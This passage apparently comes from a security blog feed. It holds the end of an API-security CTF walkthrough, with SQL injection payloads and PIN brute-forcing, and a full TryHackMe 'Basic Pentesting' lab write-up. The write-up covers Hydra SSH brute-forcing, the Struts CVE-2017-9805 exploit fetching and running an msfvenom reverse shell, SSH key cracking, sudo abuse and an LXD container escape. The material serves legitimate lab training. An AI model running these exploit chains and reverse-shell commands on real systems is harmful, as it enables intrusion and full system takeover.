Here is a suggested list:<br /><code>'</code><br /><code>''</code><br /><code>;%00</code><br /><code>--</code><br /><code>-- -</code><br /><code>""</code><br /><code>;</code><br /><code>' OR '1</code><br /><code>' OR 1 -- -</code><br /><code>" OR "" = "</code><br /><code>" OR 1 = 1 -- -</code><br /><code>' OR '' = '</code><br /><code>OR 1=1</code></p>
<p>Got a success with the <code>admin' or '1'='1--</code> payload and got an <code>authkey</code>.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/a804b9a0-9e43-4afb-9dff-6d35c533ce61.png" alt="Pasted image 20261024232006" /></p>
<p>Now send the <strong>Get Secret</strong> request. We got a <code>secret</code> flag.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/c273008a-b609-46f2-b724-4c1e8e674c9c.png" alt="Pasted image 20261024232025" /></p>
<p>Got the flag for this task:<br /><strong>flag{api8_509f8e201807860d5c91}</strong></p>
<h2>API9 - Improper asset management</h2>
<p><strong>Hint</strong> - Hey, Good News!!!!! We just launched our v2 API :)</p>
<p>Now turn to Postman and check out the content of the API9 folder of the collection.</p>
<p>Send a Login request using the supplied credentials</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/3404b11c-ab39-40e6-8d8c-c20e12f9c890.png" alt="Pasted image 20261026115024" /></p>
<p>The login seems unsuccessful as we have an empty response body. Obviously, we don’t have the correct pin value for the <code>richardbranson</code> user.</p>
<p>We also notice response headers that indicate that rate limiting is in place. We have a maximum of five login attempts. We have already used up one and we have four left. This means we can’t run a credential stuffing attack as we did for task 4.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/b2edbf7c-f89b-4e9d-b1fe-277f258f36d2.png" alt="Pasted image 20261026115117" /></p>
<p>Instead, let’s first check if v1 of the API is still accessible. Maybe this previous version doesn’t have rate limiting implemented. Send the request to Repeater. In the URL path, change v2 to v1 and send the query through.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/7a52fd91-1ef8-445a-89a3-916d44fcae28.png" alt="Pasted image 20261026115244" /></p>
<p>This time, the response headers we spotted in the previous attempt aren’t listed. This suggests no rate limiting is in place. So we can try to brute-force the pin code.</p>
<p>In Postman, go to app settings, go to Proxy and turn on the "Use custom proxy configuration". Set proxy server to <code>http://127.0.0.1:8080</code></p>
<p>Start Burp Suite.</p>
<p>In Postman, send a <strong>Login</strong> request and proxy it into Burp Suite.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/12e24cab-7b1c-4ac0-b555-abc3363ae7cb.png" alt="Pasted image 20261026115621" /></p>
<p>Right-click the request and send it to Intruder.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/4fab1333-cd7b-409d-a55e-6132d3a07861.png" alt="Pasted image 20261026115918" /></p>
<p>As you can see, we already have a payload marker positioned on the 4 digit code.<br />Make sure a <strong>Sniper</strong> attack is selected, then go to the <strong>Payloads</strong> tab. Set the Payloads as shown in the above image.</p>
<p>Then start the attack. Here again, Burp Intruder will take several hours (even days, actually..) to run through all 10.000 combinations before giving us a match: <strong>1655</strong></p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/ef079fd3-3937-403f-a54e-5618cf793620.png" alt="2026-10-07_13-37" /></p>
<p>Let's test the pin code we obtained.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/a3c0adb2-22c6-4951-b33f-b3c6f639d55e.png" alt="Pasted image 20261026120204" /></p>
<p>This time, our login attempt is successful and we get the flag for this task:<br /><strong>flag{api9_81e306bdd20a7734e244}</strong></p>
<h2>API10 - Insufficient logging and monitoring</h2>
<p><strong>Hint</strong> - Nothing has been logged or monitored, You caught us :( !</p>
<p>This is going to be a short one. In Postman, go to the <strong>API10</strong> folder in the collection and send a <strong>Get Flag</strong> request.</p>
<p><img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/1f1c3344-929c-4416-bd74-2469cbbf6b34.png" alt="Pasted image 20261024232701" /></p>
<p>We get the flag in the response body:<br /><strong>flag{api10_5db611f7c1ffd747971f}</strong></p>
<p>The takeaway here is that without proper logging and monitoring, the API provider has no way to spot ongoing security breaches. They are also in no position to be alerted when a succession of failed logins happens, typically suggesting a brute-force attack.<br />And if access keys to an administrative API happen to have been leaked, the API provider can’t check if sensitive data has been accessed between the leak and the moment the keys were changed.</p>
]]></content:encoded></item><item><title><![CDATA[Basic Pentesting Walkthrogh]]></title><description><![CDATA[A comprehensive guide to the Basic Pentesting lab on TryHackMe. Master initial footholds and Linux privilege escalation techniques step-by-step.]]></description><link>https://0xpwned.hashnode.dev/basic-pentesting-walkthrogh</link><guid isPermaLink="true">https://0xpwned.hashnode.dev/basic-pentesting-walkthrogh</guid><dc:creator><![CDATA[Koushik Paul]]></dc:creator><pubDate>Mon, 19 Oct 2026 07:29:04 GMT</pubDate><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Welcome! I'm Koushik, a Security Engineer, and as far as I know, this is the most comprehensive walkthrough for the Basic Pentesting lab. My goal here is to give you more than just a quick flag—I'll be demonstrating the complete methodology. In this guide, you will learn 2 distinct paths for initial access, followed by 2 methods for privilege escalation, including a deep dive into container escapes.</p>
<h1>1. Reconnaissance &amp; Enumeration</h1>
<h2>1.1 Nmap Scan Results</h2>
<p>To gain insight into the network, start with an nmap scan to identify open ports and potential vulnerabilities.</p>
<p>Used <code>-T4</code> - Accelerate scans by reducing timeouts and probe delays. <code>-Pn</code> - Skip host discovery and treat the target as completely online. <code>-vv</code> - Increases verbosity to level 2 (double verbosity), making Nmap print open ports and scan progress in real time rather than waiting until the entire scan finishes. <code>-p-</code> - Scan all 65535 ports. <code>-oN</code> - Save the scan output in normal, human-readable format to a specified file.</p>
<pre><code class="language-Bash">nmap -T4 -Pn -vv -p- 10.48.134.207 -oN nmap.txt
</code></pre>
<p><strong>Output</strong></p>
<pre><code class="language-plaintext">22/tcp   open  ssh          syn-ack
80/tcp   open  http         syn-ack
139/tcp  open  netbios-ssn  syn-ack
445/tcp  open  microsoft-ds syn-ack
8009/tcp open  ajp13        syn-ack
8080/tcp open  http-proxy   syn-ack
</code></pre>
<h3>Nmap deep scan for open ports</h3>
<p>Used <code>-sCV</code> - Run default NSE scripts (-sC) and probe open ports to detect service and version information (-sV).</p>
<pre><code class="language-Bash">nmap -T4 -Pn -vv -p 22,80,139,445,8009,8080 -sCV 10.48.134.207 -oN nmap-deep.txt
</code></pre>
<p><strong>Output</strong></p>
<pre><code class="language-plaintext">PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fb:fa:0e:01:4a:1c:ca:3a:73:72:8b:c8:27:23:17:bc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQ&lt;SNIP&gt;fXI8putAuisrJHy0=
|   256 00:23:22:1b:13:99:97:2e:b3:40:c5:91:81:06:43:d0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZH&lt;SNIP&gt;W5a+h7JhbEHdU=
|   256 0b:c6:1e:f9:79:3a:84:8f:4b:c4:4b:4c:a0:fc:a6:0a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEc4GZIHjpX+S7g1HUhReOGxdYeSD28SwaI9hE7/d9JD
80/tcp   open  http        syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp  open  netbios-ssn syn-ack ttl 62 Samba smbd 4
445/tcp  open  netbios-ssn syn-ack ttl 62 Samba smbd 4
8009/tcp open  ajp13       syn-ack ttl 62 Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        syn-ack ttl 62 Apache Tomcat 9.0.7
|_http-title: Apache Tomcat/9.0.7
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>
<h2>1.2 Web Server Enumeration (Port 80)</h2>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/540857aa-ef0d-4632-abff-ae79bba1783e.png" alt="Pasted image 20260814182327" style="display:block;margin:0 auto" />

<p>From the page source code, I got this message</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/575aa0ab-528f-43da-a4bd-4bc465536d60.png" alt="Pasted image 20260814182243" style="display:block;margin:0 auto" />

<p>There should be a dev note section. Other than that, there is nothing to do, so it is a good time to do directory busting.</p>
<h3>Directory Bruteforcing with Gobuster</h3>
<pre><code class="language-Bash">gobuster dir -u http://10.10.134.207 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 25
</code></pre>
<p>Found <code>/development</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/9b66d7ed-f4f8-4c72-a8a5-07a67233c404.png" alt="Pasted image 20260814182210" style="display:block;margin:0 auto" />

<p>We navigate to the <code>http://10.48.134.207/development</code> and get some text files</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/2aa2a55a-ea82-454f-be9b-9337b7f046cd.png" alt="Pasted image 20260814182349" style="display:block;margin:0 auto" />

<p>After opening the files, I got some interesting info.</p>
<p>The <code>dev.txt</code> is</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/2e67aee7-54b6-42dc-9520-90ebbe3b20f3.png" alt="Pasted image 20260814182409" style="display:block;margin:0 auto" />

<p>The <code>j.txt</code> is</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/efc8278c-8a10-42e5-8621-6ba2aeb322fe.png" alt="Pasted image 20260814182422" style="display:block;margin:0 auto" />

<h3>Web Server Enumeration (Port 8080)</h3>
<p>We navigate to the <code>http://10.10.71.144:8080</code> The website look like this, an Apache Tomcat default landing page.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/ec53da0f-a5b0-46a2-a71d-4dc613d4fa16.png" alt="2024-09-14-14-24-28" style="display:block;margin:0 auto" />

<p>If you see an Apache Tomcat server, the very first thing you should try is the default credentials, <code>tomcat:s3cr3t</code>. For this machine, it didn’t work out.</p>
<h2>1.3 SMB Enumeration (Port 445)</h2>
<p>We enumerated the SMB shares</p>
<pre><code class="language-plaintext">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ smbclient -L //10.10.71.144
Password for [WORKGROUP\root]:
Sharename       Type      Comment
---------       ----      -------
Anonymous       Disk
IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Server               Comment
---------            -------
Workgroup            Master
---------            -------
WORKGROUP            BASIC2
</code></pre>
<p>We connect to the <code>Anonymous</code>. There is a file called <code>staff.txt</code> which has valuable information in it.</p>
<pre><code class="language-plaintext">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ smbclient //10.10.71.144/Anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \&gt; ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018

                14318640 blocks of size 1024. 11047244 blocks available
smb: \&gt; get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \&gt; exit

┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
</code></pre>
<p>So, <code>J</code> stands for <code>Jan</code> and <code>K</code> stands for <code>Kay</code>.</p>
<p>Here, smb is running, that’s why I ran <code>enum4linux</code> and <code>enum4linux-ng</code> both to make sure not to miss any possible information.</p>
<blockquote>
<p>Note that enum4linux is very old, now we have enum4linux-next generation. Here I am using <code>enum4linux-ng</code>, but you can use the old <code>enum4linux</code> with the <code>-e</code> switch also.</p>
</blockquote>
<pre><code class="language-bash">enum4linux-ng -R -A &lt;$ip&gt;
</code></pre>
<p>Got 3 local users: <code>jan</code>, <code>kay</code> and <code>ubuntu</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/29de46e4-acc5-4108-8270-3647ac48345f.png" alt="Pasted image 20260814182449" style="display:block;margin:0 auto" />

<blockquote>
<p>The user <code>jan</code> has a weak password (as we know from the note previously).</p>
</blockquote>
<h1>2. Initial Access</h1>
<h2>2.1 Path A: SSH Bruteforce</h2>
<p>At this point, ssh brute-forcing seems like a pretty good option. Before going into the Struts exploit, we start our SSH brute forcing, since it takes quite long time. I use <code>hydra</code> for this task and the <code>rockyou.txt</code> wordlist.</p>
<h3>Bruteforcing with Hydra</h3>
<pre><code class="language-bash">hydra -l jan -P /usr/share/wordlists/rockyou.txt &lt;$ip&gt; -t 4 ssh
</code></pre>
<p>We found a password for the user <code>jan</code>. It is <code>armando</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/1903cb4d-9779-4b60-a764-5415df551272.png" alt="Pasted image 20260814181519" style="display:block;margin:0 auto" />

<h3>Shell as <code>jan</code></h3>
<p>Log in via SSH as <code>jan</code></p>
<pre><code class="language-bash">ssh jan@10.10.71.144
</code></pre>
<h2>2.2 Path B: Exploiting Apache Struts REST</h2>
<p>The <code>dev.txt</code> is</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/2e67aee7-54b6-42dc-9520-90ebbe3b20f3.png" alt="Pasted image 20260814182409" style="display:block;margin:0 auto" />

<p>We discovered a lot of useful information from this file. <code>Apache Struts</code> version 2.5.12 is running on the machine, and there is also a REST example of that service is running too.</p>
<p>I go for the <strong>Struts</strong> exploit. We go for a non-metasploit way to do it. Quick search to see if there is a readily available exploit on the kali machine.</p>
<pre><code class="language-bash">searchsploit 2.5.12
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/b5c1d6c2-1a16-48ee-ad94-2b95a4294345.png" alt="Pasted image 20260818233916" style="display:block;margin:0 auto" />

<p><code>linux/remote/42627.py</code> is the thing we are looking for. First mirror the exploit.</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ searchsploit -m 42627
  Exploit: Apache Struts 2.5 &lt; 2.5.12 - REST Plugin XStream Remote Code Execution
      URL: https://www.exploit-db.com/exploits/42627
     Path: /usr/share/exploitdb/exploits/linux/remote/42627.py
    Codes: CVE-2017-9805
 Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/Desktop/CTF/Tryhackme/basic pentesting/42627.py
</code></pre>
<p>Run it to get help.</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ python 42627.py                                                               
CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE
[*] Warflop - http://securityattack.com.br
[*] Greatz: Pimps &amp; G4mbl3r
[*] Use: python struts2.py URL COMMAND
[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id
</code></pre>
<p>I am not sure if we have the same URL. Check it, and It is not.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/444b32d2-d584-4d19-a7a3-8bc05ad0b9de.png" alt="Pasted image 20260818234037" style="display:block;margin:0 auto" />

<p>A quick search gives this result. -<a href="https://medium.com/@blackriddle/apache-struts2-rce-cve-2017-9805-4c6f58b622cb">https://medium.com/@blackriddle/apache-struts2-rce-cve-2017-9805-4c6f58b622cb</a></p>
<p>After trying some combinations, this URL works.</p>
<p><code>http://10.49.142.3:8080/struts2-rest-showcase-2.5.12/orders/3</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/3cc81229-8f3d-41bf-a7f5-4f19aef1984c.png" alt="Pasted image 20260818234059" style="display:block;margin:0 auto" />

<p>Let's run the command again with proper input.</p>
<pre><code class="language-plaintext">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ python 42627.py http://10.49.142.3:8080/struts2-rest-showcase-2.5.12/orders/3 id

&lt;!doctype html&gt;&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 500 – Internal Server Error&lt;/title&gt;&lt;style type="text/css"&gt;h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color
[REDACTED]
---- Debugging information ----
message             : java.lang.String cannot be cast to java.security.Provider$Service
cause-exception     : java.lang.ClassCastException
cause-message       : java.lang.String cannot be cast to java.security.Provider$Service
class               : java.util.HashMap
required-type       : java.util.HashMap
converter-type      : com.thoughtworks.xstream.converters.collections.MapConverter
path                : &amp;#47;map&amp;#47;entry
line number         : 49
version             : 1.4.8
-------------------------------
        com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
[REDACTED]
        ]com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
        com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
        org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
        com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:160)
        org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:577)
        org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
[REDACTED]
&lt;/pre&gt;&lt;p&gt;&lt;b&gt;Note&lt;/b&gt; The full stack trace of the root cause is available in the server logs.&lt;/p&gt;&lt;hr class="line" /&gt;&lt;h3&gt;Apache Tomcat/9.0.7&lt;/h3&gt;&lt;/body&gt;&lt;/html&gt;
</code></pre>
<p>The result is <code>500 Internal Server Error</code> with lots of stack trace error messages. We do not see the response of the command we sent or the error messages does not contain the response. So, in order to be sure if the exploit is working or not, we send some ping requests to our machine and listen for them.</p>
<p>Start a listener for incoming ICMP messages.</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ sudo tcpdump ip proto \\icmp -i tun0                                                                
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
</code></pre>
<p>Send a ping request to our attack machine.</p>
<pre><code class="language-plaintext">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$ python 42627.py http://10.49.142.3:8080/struts2-rest-showcase-2.5.12/orders/3 "ping -c 3 192.168.159.84"

&lt;!doctype html&gt;&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 500 – Internal Server Error&lt;/title&gt;&lt;style type="text/css"&gt;h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color
[REDACTED]        com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
[REDACTED]
&lt;/pre&gt;&lt;p&gt;&lt;b&gt;Note&lt;/b&gt; The full stack trace of the root cause is available in the server logs.&lt;/p&gt;&lt;hr class="line" /&gt;&lt;h3&gt;Apache Tomcat/9.0.7&lt;/h3&gt;&lt;/body&gt;&lt;/html&gt;
</code></pre>
<p>Same error messages, but we get the ping requests this time.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/6c8a7104-118a-4064-9cf2-54a26a67635a.png" alt="Pasted image 20260818234551" style="display:block;margin:0 auto" />

<p>So, we know the exploit is working. Let's craft our reverse shell using <code>msfvenom</code>.</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/Desktop/CTF/Tryhackme/basic pentesting]
└─$  msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=192.168.159.84 LPORT=4444 &gt; revshell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
</code></pre>
<p>Fire up a simple HTTPServer</p>
<pre><code class="language-bash">python -m http.server 80
</code></pre>
<p>Also start a listener for an incoming reverse shell. I am using <code>rlwrap</code> to make it more stable and easy to use.</p>
<pre><code class="language-bash">rlwrap -f . -r nc -nvlp 4444
</code></pre>
<h3>Shell as tomcat9</h3>
<p>This command will navigate to the <code>/tmp</code> folder in the victim machine for write permissions, download our reverse shell, make it executable and run it in a single command.</p>
<pre><code class="language-bash">python 42627.py http://10.49.142.3:8080/struts2-rest-showcase-2.5.12/orders/3 "cd /tmp; wget http://192.168.159.84/revshell; chmod +x revshell; ./revshell"
</code></pre>
<p>Still got the same error messages but HTTP server logs show that file is downloaded and we got the shell.</p>
<p>We’ll make it a tty shell. For more information on TTY shell upgrade: <a href="https://hacktricks.wiki/en/generic-hacking/reverse-shells/full-ttys.html">https://hacktricks.wiki/en/generic-hacking/reverse-shells/full-ttys.html</a></p>
<pre><code class="language-bash">python -c "import pty;pty.spawn('/bin/bash')"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/6ac460ec-c8d0-4eaf-96f5-e24ce40f4c2a.png" alt="Pasted image 20260818234712" style="display:block;margin:0 auto" />

<h1>3. Privilege Escalation</h1>
<blockquote>
<p>If you are reading older walkthroughs for this machine, you might see mention of a <code>vim.basic</code> SUID privilege escalation. However, as of the recent kernel update (5.15.0) on this platform, that SUID binary has been removed/patched. This means we cannot escalate to root directly from <code>jan</code> or <code>tomcat9</code>. Instead, we are forced to perform lateral movement to the <code>kay</code> user.</p>
</blockquote>
<h2>3.1 Lateral Movement (Pivoting to User: <code>kay</code>)</h2>
<h3>Running LinPEAS</h3>
<p>To transfer and run <a href="https://github.com/peass-ng/PEASS-ng">Linpeas.sh</a> (If you don't have Linpeas, follow the link and go to <code>Releases</code> and download <code>linpeas.sh</code>)</p>
<h3>On Local Machine</h3>
<p>Go to the directory where <code>linpeas.sh</code> is located and run this command.</p>
<pre><code class="language-bash">python -m http.server 80
</code></pre>
<h3>On Victim Machine</h3>
<pre><code class="language-bash">wget http://192.168.159.84/linpeas.sh -O lin.sh
</code></pre>
<blockquote>
<p>⚠️ It is giving an error, and got to know that in the home directory of <code>jan</code>, user <code>jan</code> doesn't have write permission.</p>
</blockquote>
<p>Navigate to the <code>/tmp</code>, download the script, and run it.</p>
<pre><code class="language-bash">cd /tmp
wget http://192.168.159.84/linpeas.sh -O lin.sh
chmod +x lin.sh
./lin.sh
</code></pre>
<p>Got a private key for the <code>kay</code> user.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/288b8ee5-015b-49aa-ab82-5945e3000294.png" alt="Pasted image 20260814181607" style="display:block;margin:0 auto" />

<h3>Extracting and Cracking kay's SSH Key</h3>
<h3>On Local Machine</h3>
<p>Copy and paste into any text editor like <code>mousepad</code> or <code>sublime</code>, then save it to a file named <strong>id_rsa</strong>. Here I am using <code>Sublime</code>.</p>
<pre><code class="language-bash">subl id_rsa
</code></pre>
<p>We know from the image that the private key is encrypted. To bruteforce the key we first extract the key hash from the key using <code>ssh2john</code> (A tool from <code>johntheripper</code> suite).</p>
<pre><code class="language-bash">ssh2john id_rsa &gt; id_rsa_hash
</code></pre>
<p>Bruteforce the hash of the key using <code>john</code> tool and the <code>rockyou.txt</code> wordlist.</p>
<pre><code class="language-bash">john id_rsa_hash --wordlist=/usr/share/worldlists/rockyou.txt
</code></pre>
<p>The passphrase is <code>beeswax</code>.</p>
<h3>Shell as <code>kay</code></h3>
<p>Log in as <code>kay</code> using SSH</p>
<pre><code class="language-bash">ssh -i id_rsa kay@&lt;$ip&gt;
</code></pre>
<p>Then paste the cracked password and log in as <code>kay</code></p>
<p>After log in run</p>
<pre><code class="language-bash">id
</code></pre>
<p><strong>Output</strong></p>
<pre><code class="language-plaintext">uid=1000(kay) gid=1000(kay) groups=1000(kay),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
</code></pre>
<p>Interesting, the <code>kay</code> user is a member of <code>sudo</code> group and <code>lxd</code> group. For the sake of completeness, we try to escalate our privileges in both cases.</p>
<h1>4. Privilege Escalation from User <code>kay</code></h1>
<h2>Option A: Abusing Sudo Privileges</h2>
<p>As <code>kay</code> is in the sudo group, generally they can execute commands with full root privileges, but this requires a password. Let's start enumerating the target to see if we can uncover any valid credentials.</p>
<p>Listed all the files in <code>key</code> user's home directory and found an interesting file named <code>pass.bak</code></p>
<pre><code class="language-bash">ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/61c042e2-1503-4dff-8367-fa2164a5b458.png" alt="Pasted image 20260814181804" style="display:block;margin:0 auto" />

<p>Read the file and got a string that looks like a password</p>
<pre><code class="language-bash">cat pass.bak
</code></pre>
<p>Got - <code>heresareallystrongpasswordthatfollowsthepasswordpolicy$$</code></p>
<p>It can be <code>root</code> user's password or it can be the password of any of the users</p>
<p>So, I tried the password as the <code>kay</code> user's password and want to know the sudo privileges.</p>
<pre><code class="language-bash">sudo -l
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/bdbae458-0095-42a8-89b5-b00230ae8f6e.png" alt="Pasted image 20260814181900" style="display:block;margin:0 auto" />

<p>The <code>kay</code> user can run anything as <code>root</code>. So, I tried to switch the user to <code>root</code> and it works.</p>
<pre><code class="language-bash">sudo su
</code></pre>
<p>Got a new <code>#</code> prompt</p>
<pre><code class="language-bash">id
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/2b35507e-19c0-4ecb-bcdb-f5f154921b32.png" alt="Pasted image 20260814181927" style="display:block;margin:0 auto" />

<blockquote>
<p>I am root now. 🎉🎉</p>
</blockquote>
<h2>Option B: LXD/LXC Container Escape</h2>
<p>Membership in the <code>lxd</code> or <code>lxc</code> group allows a standard user to achieve root-level privilege escalation by abusing container management rights. By initializing a privileged container (such as a lightweight Alpine image) and mounting the host machine's entire root directory (<code>/</code>) into it, the user gains unrestricted access to the underlying filesystem. Because the user operates as root inside the container, this mount allows them to freely read, modify, or overwrite any sensitive file on the victim machine's host OS.</p>
<h3>Setting up the Alpine Image (Local Machine)</h3>
<h4>On Local Machine</h4>
<p>First, clone the Alpine builder GitHub repository.</p>
<pre><code class="language-bash">git clone https://github.com/saghul/lxd-alpine-builder.git
ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/118c559a-b327-4761-8c2c-65ec23a71160.png" alt="Pasted image 20260815212931" style="display:block;margin:0 auto" />

<p>Inside the <code>lxd-alpine-builder</code> directory, we got the Alpine prebuilt image.</p>
<pre><code class="language-bash">cd lxd-alpine-builder
ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/66673a44-57d8-4375-800c-09fcb6b18bac.png" alt="Pasted image 20260815213008" style="display:block;margin:0 auto" />

<p>Let's host a Python HTTP server on our local machine.</p>
<pre><code class="language-bash">python -m http.server 80
</code></pre>
<h4>On Victim Machine</h4>
<p>Download the Alpine prebuilt image in the <code>kay</code>'s home directory. For this we can use <code>wget</code>.</p>
<pre><code class="language-bash">wget http://192.168.159.84/alpine-v3.13-x86_64-20210218_0139.tar.gz
ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/475f3e86-5c9a-47bb-a607-7d1f262b629a.png" alt="Pasted image 20260815213118" style="display:block;margin:0 auto" />

<h3>Importing and Initializing the Container (Victim Machine)</h3>
<p>Import the Alpine prebuilt image with an alias like <code>myimage</code> and list all images.</p>
<pre><code class="language-bash">lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxc image list
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/f7c1192b-69c1-48ef-bf1e-05a03aa22ecd.png" alt="Pasted image 20260815213231" style="display:block;margin:0 auto" />

<pre><code class="language-bash">lxc init myimage ignite -c security.privileged=true
</code></pre>
<blockquote>
<p>⚠️ Got a <code>No storage pool found</code> error</p>
</blockquote>
<p>To make a storage pool run this.</p>
<pre><code class="language-bash">lxc storage create pool dir
lxc profile device add default root disk path=/ pool=pool
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/1a0f5a03-d015-4507-9e15-e1bbb499499a.png" alt="Pasted image 20260815213408" style="display:block;margin:0 auto" />

<p>Then retry initializing the image.</p>
<pre><code class="language-bash">lxc init myimage ignite -c security.privileged=true
</code></pre>
<p>No error, and we are good to go.</p>
<h3>Mounting the Host File System</h3>
<p>Here I mount the file system to <code>/</code> (root)</p>
<pre><code class="language-bash">lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
</code></pre>
<p>This time it works and gave me another <code>#</code> prompt</p>
